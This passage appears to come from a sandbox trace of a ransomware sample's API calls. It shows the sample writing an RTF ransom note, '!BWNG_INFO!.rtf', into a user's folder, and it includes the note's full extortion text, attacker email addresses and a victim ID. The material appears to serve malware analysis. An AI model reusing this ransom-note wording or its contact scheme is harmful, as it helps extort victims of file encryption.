\\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nº¾\x0eó?àÜù¤\x9b\x14i¿Ì\x04oÏáÒr¡/N8\x8bãd^\x19.\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0035.995] WriteFile (in: hFile=0x168, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0035.996] CloseHandle (hObject=0x168) returned 1 [0035.996] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\!bwng_info!.rtf")) returned 0xffffffff [0035.996] GetLastError () returned 0x2 [0035.996] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\outlook files\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0036.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0036.256] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 